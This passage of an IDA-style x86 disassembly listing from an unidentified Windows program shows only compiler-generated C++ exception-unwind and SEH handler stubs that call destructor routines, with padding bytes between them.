		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438F78:				; DATA XREF: ___:0043F6ECo
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E7A0	proc near		; DATA XREF: sub_40E7A0+2o
		mov	eax, offset dword_43F6C0
		jmp	sub_4367C8
SEH_40E7A0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438FC8:				; DATA XREF: ___:0043F744o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40EC30	proc near		; DATA XREF: sub_40EC30+2o
		mov	eax, offset dword_43F718
		jmp	sub_4367C8
SEH_40EC30	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40ED70	proc near		; DATA XREF: sub_40ED70+2o
		mov	eax, offset dword_43F758
		jmp	sub_4367C8
SEH_40ED70	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439018:				; DATA XREF: ___:0043F7B4o
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439048:				; DATA XREF: ___:0040F148o
		mov	eax, offset dword_43F788
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_439078:				; DATA XREF: ___:0043F814o
		mov	ecx, [ebp-28h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2ACh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2DAh
		jmp	sub_401B54
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40F600	proc near		; DATA XREF: sub_40F600+2o
		mov	eax, offset dword_43F7E8
		jmp	sub_4367C8
SEH_40F600	endp

; ---------------------------------------------------------------------------
		db 69h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_439268:				; DATA XREF: ___:0043F974o
		mov	ecx, [ebp-10h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2ACh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40FDA0	proc near		; DATA XREF: sub_40FDA0+2o
		mov	eax, offset dword_43F948
		jmp	sub_4367C8
SEH_40FDA0	endp

; ---------------------------------------------------------------------------
		db 47h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-247Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43939B:				; DATA XREF: ___:0043FA2Co
		lea	ecx, [ebp-210Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-207Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393B1:				; DATA XREF: ___:0043FA3Co
		lea	ecx, [ebp-237Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393BC:				; DATA XREF: ___:0043FA44o
		lea	ecx, [ebp-21CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393C7:				; DATA XREF: ___:0043FA4Co
		lea	ecx, [ebp-234Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393D2:				; DATA XREF: ___:0043FA54o
		lea	ecx, [ebp-2064h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393DD:				; DATA XREF: ___:0043FA5Co
		lea	ecx, [ebp-231Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393E8:				; DATA XREF: ___:0043FA64o
		lea	ecx, [ebp-219Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4393F3:				; DATA XREF: ___:0043FA6Co
		lea	ecx, [ebp-20DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-22ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439409:				; DATA XREF: ___:0043FA7Co
		lea	ecx, [ebp-22BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439414:				; DATA XREF: ___:0043FA84o
		lea	ecx, [ebp-23DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43941F:				; DATA XREF: ___:0043FA8Co
		lea	ecx, [ebp-216Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43942A:				; DATA XREF: ___:0043FA94o
		lea	ecx, [ebp-2424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-228Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-225Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439499:				; DATA XREF: ___:0043FADCo
		lea	ecx, [ebp-213Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394A4:				; DATA XREF: ___:0043FAE4o
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4394B2:				; DATA XREF: ___:0043FAECo
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-222Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394E1:				; DATA XREF: ___:0043FB0Co
		lea	ecx, [ebp-2394h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394F7:				; DATA XREF: ___:0043FB1Co
		lea	ecx, [ebp-2334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43950D:				; DATA XREF: ___:0043FB2Co
		lea	ecx, [ebp-2304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439518:				; DATA XREF: ___:0043FB34o
		lea	ecx, [ebp-22D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439523:				; DATA XREF: ___:0043FB3Co
		mov	ecx, [ebp-2480h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43952E:				; DATA XREF: ___:0043FB44o
		lea	ecx, [ebp-22A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439539:				; DATA XREF: ___:0043FB4Co
		lea	ecx, [ebp-2244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43954F:				; DATA XREF: ___:0043FB64o
		lea	ecx, [ebp-2214h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43955A:				; DATA XREF: ___:0043FB74o
		lea	ecx, [ebp-21E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439565:				; DATA XREF: ___:0043FB7Co
		lea	ecx, [ebp-2184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43957B:				; DATA XREF: ___:0043FB94o
		lea	ecx, [ebp-243Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-240Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439591:				; DATA XREF: ___:0043FBACo
		lea	ecx, [ebp-2124h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2154h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395A7:				; DATA XREF: ___:0043FBBCo
		lea	ecx, [ebp-20F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395B2:				; DATA XREF: ___:0043FBC4o
		lea	ecx, [ebp-2094h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2464h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4395D3:				; DATA XREF: sub_40FF60+8o
		mov	eax, offset dword_43FA00
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 93h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411860	proc near		; DATA XREF: sub_411860+2o
		mov	eax, offset dword_43FC10
		jmp	sub_4367C8
SEH_411860	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411910	proc near		; DATA XREF: sub_411910+2o
		mov	eax, offset dword_43FC40
		jmp	sub_4367C8
SEH_411910	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4396B8:				; DATA XREF: ___:0043FC9Co
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411990	proc near		; DATA XREF: sub_411990+2o
		mov	eax, offset dword_43FC70
		jmp	sub_4367C8
SEH_411990	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439718:				; DATA XREF: ___:0043FCF4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411A50	proc near		; DATA XREF: sub_411A50+2o
		mov	eax, offset dword_43FCC8
		jmp	sub_4367C8
SEH_411A50	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411B40	proc near		; DATA XREF: sub_411B40+8o
		mov	eax, offset dword_43FD20
		jmp	sub_4367C8
SEH_411B40	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4397E8:				; DATA XREF: ___:0043FDCCo
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411FE0	proc near		; DATA XREF: sub_411FE0+8o
		mov	eax, offset dword_43FDA0
		jmp	sub_4367C8
SEH_411FE0	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439890:				; DATA XREF: ___:0043FE6Co
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-48h]
		and	eax, 1
		test	eax, eax
		jz	locret_4398AE
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_4398AE:				; CODE XREF: ___:004398A0j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4126B0	proc near		; DATA XREF: sub_4126B0+2o
		mov	eax, offset dword_43FE40
		jmp	sub_4367C8
SEH_4126B0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398D8:				; DATA XREF: ___:0043FEA4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412970	proc near		; DATA XREF: sub_412970+8o
		mov	eax, offset dword_43FE78
		jmp	sub_4367C8
SEH_412970	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412C10	proc near		; DATA XREF: sub_412C10+2o
		mov	eax, offset dword_43FEB0
		jmp	sub_4367C8
SEH_412C10	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439918:				; DATA XREF: ___:0043FF0Co
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43994E:				; DATA XREF: ___:00412CB8o
		mov	eax, offset dword_43FEE0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43997B:				; DATA XREF: ___:0043FF6Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014B5

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413120	proc near		; DATA XREF: sub_413120+2o
		mov	eax, offset dword_43FF40
		jmp	sub_4367C8
SEH_413120	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014B5

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413220	proc near		; DATA XREF: sub_413220+2o
		mov	eax, offset dword_43FF88
		jmp	sub_4367C8
SEH_413220	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4132E0	proc near		; DATA XREF: sub_4132E0+2o
		mov	eax, offset dword_43FFD0
		jmp	sub_4367C8
SEH_4132E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4133D0	proc near		; DATA XREF: sub_4133D0+2o
		mov	eax, offset dword_440008
		jmp	sub_4367C8
SEH_4133D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413510	proc near		; DATA XREF: sub_413510+2o
		mov	eax, offset dword_440038
		jmp	sub_4367C8
SEH_413510	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401578
; ---------------------------------------------------------------------------


loc_439A78:				; DATA XREF: ___:00440094o
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413670	proc near		; DATA XREF: sub_413670+2o
		mov	eax, offset dword_440068
		jmp	sub_4367C8
SEH_413670	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439A98:				; DATA XREF: ___:004400CCo
		lea	ecx, [ebp-0A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-8Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4137E0	proc near		; DATA XREF: sub_4137E0+2o
		mov	eax, offset dword_4400A0
		jmp	sub_4367C8
SEH_4137E0	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439AD8:				; DATA XREF: ___:0044010Co
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_401578

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4139B0	proc near		; DATA XREF: sub_4139B0+2o
		mov	eax, offset dword_4400E0
		jmp	sub_4367C8
SEH_4139B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B08:				; DATA XREF: ___:00413AE2o
		mov	eax, offset dword_440120
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B28:				; DATA XREF: ___:0044017Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B30:				; DATA XREF: ___:00440184o
		mov	eax, [ebp-40h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_439B3B:				; DATA XREF: ___:0044018Co
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413B70	proc near		; DATA XREF: sub_413B70+2o
		mov	eax, offset dword_440150
		jmp	sub_4367C8
SEH_413B70	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+64h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439B68:				; DATA XREF: ___:004401C4o
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413DA0	proc near		; DATA XREF: sub_413DA0+2o
		mov	eax, offset dword_440198
		jmp	sub_4367C8
SEH_413DA0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439BBB:				; DATA XREF: ___:0044021Co
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414090	proc near		; DATA XREF: sub_414090+2o
		mov	eax, offset dword_4401F0
		jmp	sub_4367C8
SEH_414090	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439BF8:				; DATA XREF: ___:0044025Co
